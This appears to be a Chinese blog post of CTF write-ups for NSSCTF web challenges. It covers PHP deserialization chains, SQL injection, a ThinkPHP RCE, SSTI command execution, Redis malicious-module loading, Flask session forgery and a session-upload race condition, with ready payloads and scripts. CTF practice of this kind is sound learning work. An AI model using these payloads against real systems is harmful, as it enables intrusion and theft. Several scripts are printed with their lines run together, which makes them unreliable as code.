当前位置: 首页 > news >正文

NSSCTF做题(7)

[第五空间 2021]pklovecloud

反序列化

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  


class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 

else 

    highlight_file(__file__); 
}
?>

 这道题还是反着来,先去找pop链的尾部,找到尾部之后再往前翻

1.要想读出 flag.php 就要触发 file_get_contents() 函数;

2.要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();

3.寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();

4.acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。
 

pop链的构造:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。

构造过程中有两个需要特别注意的点,一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

 同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null

这样我们就成功的绕过的比较利用到了file_get_contents()函数

<?php
class acp
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct()
    {      
        $this->cinder = new ace;
    }  
}  
class ace
{    
    public $filename='flag.php';
    public $openstack;
    public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

上传之后发现flag在另外一个里面,修改一下poc继续上传

发现还是没有

返回到上级目录看看

最后的payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D 

得到flag

[HNCTF 2022 Week1]Interesting_http 

按给的提示做

应该是传want=flag

 说不是admin

抓包看一下,改了之后

说不在本地,用xff,得到flag

[SWPUCTF 2022 新生赛]ez_rce 

源代码里没什么东西,访问一下index.php

没找到什么,开扫

 扫到了robots.txt,访问一下,发现了访问地址

发现是php thinkv5

 报错发现是5.0.22版本

可以直接去网上找payload

cat flag没出来,发现用../../../../../flag他也出不来

去前面找找看看是不是有什么敏感词,发现了nss

先访问一下这个

接着访问

有flag,cat发现还是没有,再ls

还有一层应该是

得到了flag

[WUSTCTF 2020]朴实无华

抓个包看看

没什么东西,访问robots.txt,发现了fakeflag,

 访问发现提示

郝,找到正牌的了


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

去非洲吧 

第一关

if(intval($num) < 2020 && intval($num + 1) > 2021){

先看第一题,以GET方式传入参数,传入的num经过intval函数处理后,需要大于2020,且加1后需小于2021。intval函数用于获取变量的整数值,也就无法输入小数绕过 

知识点:PHP弱类型及intval函数使用不当

这里使用intval函数后与2020比较没有问题,但是问题出在与2021比较之前num加了1 

 使用‘2e4’来绕过,intval()会识别为字符串看做整数2,而且php还有个强制转换的机制,如果将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。

?num=2e4

第二关

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))

这里需要满足 一个数和MD5值相等,不能用数组绕过,就用科学计数法,满足开头都是0e就ok

md5=0e215962017

第三关

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

 

 以GET方式传入get_flag,传入的参数会执行system。strstr函数检测到空格则返回空格,str_ireplace函数检测到cat替换为wctf2020

空格绕过  ${IFS}  cat绕过 

过了这三关就能得到flag

先看一下根目录

?num=2e4&md5=0e215962017&get_flag=ls

得到flag地址,直接rce得到flag

[第五空间 2021]yet_another_mysql_injection

得到了正经的东西

// 首先 username 必须是admin
if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
}

// 其次输入的密码不得在黑名单
function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
checkSql($password);

// sql查询语句
SELECT password FROM users WHERE username='admin' and password='$password';

// 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
    die($FLAG);
}

if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

 这个if判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG,

通过分析发现只有输入正确的密码才能得到FLAG,但是这张表其实是一张空表,所以爆破密码这条路走不通。

那就只有一个办法,就是构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG

注入的payload;

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

CTFHUB 2021-第五空间 yet_another_mysql_injection-CSDN博客x

 详细的还是看这位大佬的wp吧,我讲不明白,触及到知识盲区了

得到了flag

[SWPUCTF 2022 新生赛]1z_unserialize 

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 
 

只需要给下边这两个变量赋值就ok了

    public $lt='system';
    public $lly='cat /flag';

 得到flag

[天翼杯 2021]esay_eval 

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}
 

我们只需要绕过__wakeup

preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }

这里有个过滤

反序列化要绕过wakeup,正常就是改数字,但是这里有个正则过滤

注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过

看到了eval函数,危险函数命令执行,传就行了

 查看phpinfo页面,发现命令执行的东西都被限制了

这里我们使用蚁剑连接

打开蚁剑连接

?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}  

Redis加载恶意so获取shell

html目录下有config文件,里面有redis密码

 第一次看到so文件

计算机系统: 共享对象文件(.so文件)详解,全面解析!-CSDN博客

redis配置文件详解_流水武qin的博客-CSDN博客

先在html目录下上传恶意so文件

文件地址

 上传完成后使用蚁剑redis插件连接

 右键执行命令

MODULE LOAD /var/www/html/exp.so
system.exec "命令"

得到flag

[LitCTF 2023]Flag点击就送! 

输入127.0.0.1发现有按钮

点击之后发现要管理员才能拿到

抓包看看能改哪里

通过抓包后,在cookie字段发现了 特殊的东西,前面翻译过来跟题目没有太大关系,所以最后就看session字段,看着不像是base64,burp解码也不行

 

根据题目提示以及这个session知道了这道题要考session伪造

先说一下session的作用:

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

 session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。

flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
 

flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

base64解码发现 是json格式的base64加密

json

 json的全称为:JavaScript Object Notation,是一种轻量级的数据交互格式。

JSON支持数据格式:

json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array

对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开

json本质上就是一个字符串

要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF(题目)

脚本是借鉴的大佬的

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
 

这个1.py就是我的脚本

 

 得到flag

 [SWPUCTF 2022 新生赛]where_am_i

题目的提示

电话号是11位的,之前好像做过类似的题,属于社工类吧

用识图看一看

在百度识图找到,古迹酒店

搜一下

看着还是像的 电话号码也是11位

 输入纯数字的电话号码,得到flag

[NISACTF 2022]middlerce 

正则过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。

脚本

import requestspayload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。 

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

?><?= `nl /f*`?> 

最终的payload

import requestspayload = '{"cmd":"?><?= `nl /f*`?>", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

得到flag

 [SWPUCTF 2022 新生赛]numgame

 发现页面除了能点加减号以外什么都干不了

抓个包发现了js代码

还是要看看源代码,在侧边栏打开更多工具,打开网页源代码

在源代码里找到了一个base64编码,解码看看

是一个php页面,打开

得到了代码

 

 打开hint2.php

这道题目的切入点在

call_user_func($_GET['p']);

这个位置

这个是把第一个参数作为回调函数使用

 这一题类似于以下这个例子

这里调用的类方法是

Echo “hello”

调用的格式为

myclass::say_hello

那么回到刚刚那个题目

用nss2就可以回调就可以看到flag了应该

这里只有以恶搞类nss这个类中有一个函数可以调用就是include(‘hint2.php’)

可以试验一下看看能不能调用

这里还要学习一个新的运算符  ::双冒号运算符

我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写看能否绕过,所以构造payload

用nss发现这个 ,那就用nss2就可以了

得到flag

 [NISACTF 2022]is secret

 扫描后得/secret

告诉我你的秘密我会加密它

应该是要进行一个传参,随便传一个数进去会返回一个不一样的字符,传入该字符又得回原来的数,猜测应该是一个对称加密,但这远远不知道是什么

题目标签是ssti,尝试用{{7*7}}注入

进到了这个页面里

找到了源码文件

if(secret==None):#判断是否为空
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #对传入的内容进行rc4解密,密钥为HereIsTreasure
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))#对rc4解密后的内容进行safe安全检测,最后进行字符串渲染
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

 要先rce加密,密钥为HereIsTreasure

网上找到脚本尝试{{7*7}} 加密

import base64
from urllib import parsedef rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256))j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_boxdef rc4_excrypt(plain, box):res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))cipher = "".join(res)return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

发现存在ssti注入

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。 

{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在

class返回当前类

init初始化类

globals对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量

.popen()方法的操作系统中打开一个子进程,并执行cat /f*的命令
更多有关 Jinja2引擎的魔术方法参考:

[CISCN 2019华东南]Double Secret-CSDN博客

最后的payload:

?secret=.%14%19V¥%09%0DglÓç%2C½¾÷»'¬kz%C2%88mé|%03%C2%85%07¶%1Có%0Dà!%C2%84O×%04â%17Û%40%C2%9D%C2%82ñ*3ó%0Aª%C2%ADCb*¬)m%C2%83%7F%07Âó%0DX»%C2%86%1C»Mr%0D*ô

[第五空间 2021]EasyCleanup

 代码审计

 Docker PHP裸文件本地包含综述 | 离别歌

phpinfo LFI-本地临时文件包含_php 临时文件包含_amingMM的博客-CSDN博客 

当 mode=eval 时,若 shell 无值,则执行phpinfo(); 若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过filter($shell) | checkNums($shell),限制太多,想要通过 RCE 得到 flag 几乎无从下手,于是我们考虑从file寻找攻击点

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含

然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

访问/?mode=eval查看 phpinfo 内容,定位到 session 相关的信息,标注箭头处是比较关键的信息

 

那么讲解一下关键选项

        session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
        session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
        session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
        session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
        session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
        session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

综上所述,这种利用方式需要满足下面几个条件:

    目标环境开启了session.upload_progress.enable选项
    发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
    请求的Cookie中包含Session ID

    注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
这里还是用大佬的脚本,在这一块还是差的太多了

# -*- coding: utf-8 -*-
import io
import requests
import threadingmyurl = 'http://node4.anna.nssctf.cn:28628'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('tac /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}def writeshell(session):while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)def getshell(session):while True:payload_url = myurl + '?file=' + '/tmp/sess_' + sessidresp = requests.get(url=payload_url)if 'upload_progress' in resp.text:print(resp.text)breakelse:passif __name__ == '__main__':session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,))writeshell.daemon = Truewriteshell.start()getshell(session)

 

[SWPUCTF 2022 新生赛]ez_ez_unserialize

简单的一道反序列化构造

要绕过一个__wakeup(),

改成员数量大于实际成员数量就行了

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

最终的payload:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag

[HUBUCTF 2022 新生赛]HowToGetShell

属于无字母rce

异或,取反,自增,脚本,4种方式可供选择

我采取的是用异或的方式 这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E,E对应的ASCII码值为01000101,我选择了>{进行异或得到E。

这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]);  //assert($_GET[6])

把上面的构造放一排就可以了。

 [HUBUCTF 2022 新生赛]HowToGetShell题解_dockerere的博客-CSDN博客

推荐这篇博客给大家

 

相关文章:

NSSCTF做题(7)

[第五空间 2021]pklovecloud 反序列化 <?php include flag.php; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; …...

【GIT版本控制】--高级分支策略

一、分支合并策略 在Git中&#xff0c;高级分支策略是为了有效地管理和整合分支而设计的。其中一个关键方面是分支合并策略&#xff0c;它定义了如何将一个分支的更改合并到另一个分支。以下是几种常见的分支合并策略&#xff1a; 合并提交策略&#xff08;Merge Commit Stra…...

【Qt控件之QDialog】使用及技巧

简介 QDialog是Qt中的一个类&#xff0c;继承自QWidget类&#xff0c;用于创建对话框窗口&#xff0c;可以显示模态&#xff08;阻塞当前窗口&#xff09;或非模态的对话框。对话框可以包含各种控件&#xff0c;如按钮、文本框等&#xff0c;用于与用户进行交互。 主要函数说…...

Transformer预测 | Python实现基于Transformer的股票价格预测(tensorflow)

文章目录 效果一览文章概述程序设计参考资料效果一览 文章概述 Transformer预测 | Python实现基于Transformer的股票价格预测(tensorflow) 程序设计 import numpy as np import matplotlib.pyplot...

spark sql如何行转列

在数据仓库中&#xff0c;行转列通常称为”变形”(Pivoting) 或 “透视”(Pivoting)&#xff0c;可使用Spark SQL的pivot语句实现。下面是一个简单的示例&#xff1a; 假设我们有如下表格&#xff1a; -------------------- | name | brand | year | -------------------- |…...

Prompt-Tuning(一)

一、预训练语言模型的发展过程 第一阶段的模型主要是基于自监督学习的训练目标&#xff0c;其中常见的目标包括掩码语言模型&#xff08;MLM&#xff09;和下一句预测&#xff08;NSP&#xff09;。这些模型采用了Transformer架构&#xff0c;并遵循了Pre-training和Fine-tuni…...

域信息收集

DMZ&#xff0c;是英文“demilitarized zone”的缩写&#xff0c;中文名称为“隔离区”&#xff0c;也称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题&#xff0c;而设立的一个非安全系统与安全系统之间的缓冲区。该缓冲区位于企业…...

MySQ 学习笔记

1.MySQL(老版)基础 开启MySQL服务: net start mysql mysql为安装时的名称 关闭MySQL服务: net stop mysql 注: 需管理员模式下运行Dos命令 . 打开服务窗口命令 services.msc 登录MySQL服务: mysql [-h localhost -P 3306] -u root -p****** Navicat常用快捷键 键动作CTRLG设…...

pdf文档内容提取pdfplumber、PyPDF2

测试pdfplumber识别效果好些&#xff1b;另外pdf这两个如果超过20多页就没法识别了&#xff0c;结果为空 1、pdfplumber 安装&#xff1a;pip install pdfplumber -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com代码&#xff1a; import pdfpl…...

运算符

目录 算术运算符 比较运算符 逻辑运算符 位运算符 运算符的优先级 MySQL从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129334507?spm1001.2014.3001.5502 数据库中的表结构确立后&#xff0c;表中的数据代表的意义就已经确定。而…...

利用freesurfer6进行海马分割的环境配置和步骤,以及获取海马体积

利用freesurfer6进行海马分割的环境配置和步骤 Matlab Runtime 安装1. 运行recon-all:2. 利用 recon-all -s subj -hippocampal-subfields-T1 进行海马分割3. 结束后需要在/$SUBJECTS_DIR/subject/的文件夹/mri路径下输入下面的代码查看分割情况4. 在文件SUBJECTS_DIR路径下输…...

haproxy使用

haproxy使用 安装使用yum安装 配置文件global 全局配置Proxies配置Proxies配置-defaultsProxies配置-listen 简化配置 安装 社区版官网链接&#xff1a;http://www.haproxy.org CentOS 7 的默认的base仓库中包含haproxy的安装包文件&#xff0c;但是版本比较旧&#xff0c;是1…...

轻松实现时间录入自由!如何在Microsoft Word中轻松插入格式化的日期和时间

在文档中插入当前日期和时间有几个原因。你可能希望将其插入信函或页眉或页脚中。无论是什么原因&#xff0c;Word都可以轻松地将日期和时间插入文档。 如果希望在打开或打印文档时自动更新日期和时间&#xff0c;可以将其作为自动更新的字段插入。该字段也可以随时手动更新。…...

【排序算法】选择排序

文章目录 一&#xff1a;基本介绍1.1 概念1.2 算法思想1.3 思路分析图1.4 思路分析1.5 总结1.5.1 选择排序一共有数组大小-1轮排序1.5.2 每一轮排序&#xff0c;又是一个循环&#xff0c;循环的规则如下&#xff08;在代码中实现&#xff09;&#xff1a; 二&#xff1a;代码实…...

Netty深入浅出(无处不在的IO)

为什么要有Netty Netty是为了解决网络编程的复杂性和提供易于使用、高性能和可扩展的框架而开发的。它通过提供一组可重用的组件来处理网络通信的低级细节&#xff0c;例如套接字管理、线程和缓冲&#xff0c;简化了开发网络应用程序的过程。这使开发人员可以专注于应用程序逻…...

华为C语言编程规范(2W字总结)

1、代码总体原则 1、清晰第一 清晰性是易于维护、易于重构的程序必需具备的特征。代码首先是给人读的&#xff0c;好的代码应当可以像文章一样发声朗诵出来。 目前软件维护期成本占整个生命周期成本的40%~90%。根据业界经验&#xff0c;维护期变更代码的成本&#xff0c;小型…...

操作系统学习笔记2

